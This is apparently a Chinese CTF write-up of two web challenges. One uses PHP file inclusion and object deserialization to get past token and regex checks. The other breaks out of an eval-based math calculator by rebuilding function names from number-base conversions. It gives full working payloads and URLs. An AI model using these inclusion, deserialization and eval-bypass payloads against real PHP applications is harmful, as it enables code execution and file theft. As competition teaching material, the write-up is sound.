2019全国大学生信息安全大赛两道web

2019全国大学生信息安全大赛两道web

简单小结

菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势。

Web

Justsoso

打开题目,源代码出存在提示:

使用LFI读取index.php与hint.php

1
2
3
http://d4dc224926cd47bca560b0ec2f84bad155efe5b747574b89.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=index.php

http://d4dc224926cd47bca560b0ec2f84bad155efe5b747574b89.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=hint.php

得如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

很容易可以知道此题考的是php反序列化,通过file引入hint.phpindex.php,操作payload反序列化执行类中的getflag()函数
此题有两个难点:
正则Flag判断绕过与随机数md5判断的绕过
前者可通过使用 ///绕过parse_url()函数,此时该函数获取到的内容为空,而后者可以使用指针来将token_flag指向token,来使两者恒等。

添加以下代码在本地生成序列化字符串:

1
2
3
4
$a = new Flag(‘flag.php’);
$a->token_flag = &$a->token;
$b = new Handle($a);
echo urlencode(serialize($b));

输出的结果为:
1
O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22bc573864331a9e42e4511de6f678aa83%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

注意里边有不可见字符%00,且需要将Handle的对象数量改成2+,这样才可以进入__destruct函数。
故最终payload为:

1
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"bc573864331a9e42e4511de6f678aa83";s:10:"token_flag";R:4;}}

love_math

打开题目,发现在js地址出使用ajax向calc.php发送数据
使用浏览器访问之,得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

可以看到过滤了一些常用字符和基于白名单的过滤,
限制得比较死,故此处我们只能使用白名单内的函数来进行命令执行,且不能有黑名单内的字符。

我们注意到,白名单里边的base_convert、dechex、decbin等用于进制转换的函数,我们可以使用其来绕过基于白名单的检测。比如:phpinfo可以将phpinfo先转换成hex,在转换成十进制,这样就可以做到无字母执行函数。

由于长度问题,我们无法直接在参数c里传过多的白名单函数+字符,所以这里我们使用其他GET参数传入,不直接使用参数c,即可绕过,但要注意的是此处的参数名,不能为字母,只能为数字,不然会被第二个关键词白名单所拦截。

再由于Ascii转成Hex后转回来需要hex2bin函数,而白名单里并没有这个函数,所以我们需要使用进制转换进行绕过,又因为hex2bin里部分字母只有在32进制后才会出现,所以此处我们选择36进制。将hex2bin36进制成无字母的10进制得到:37907361743我们使用base_convert(37907361743,10,36即可转换成hex2bin,而_GEThex5f474554,里边包含了字母f,需要在进行一次转换:f正好为16进制里的最后一个字母,可直接使用dechex(1598506324)即可绕过。故$sin=base_convert(37907361743,10,36)(dechex(1598506324))即为$sin=_GET
接着我们继续构造:
我们知道:$$sin = $_GET
那么$$sin[a]()即可自定义函数名,但主要此处参数不可为字母,且[]被过滤,故改成$$sin{0}($$sin{1})`
所以payload构造如下:

1
?C=$sin=base_convert(37907361743,10,36)(dechex(1598506324));$$sin{0}($$sin{1});&0=show_source&1=flag.php

作者

Yunen

发布于

2019-04-20

更新于

2020-12-25

许可协议

评论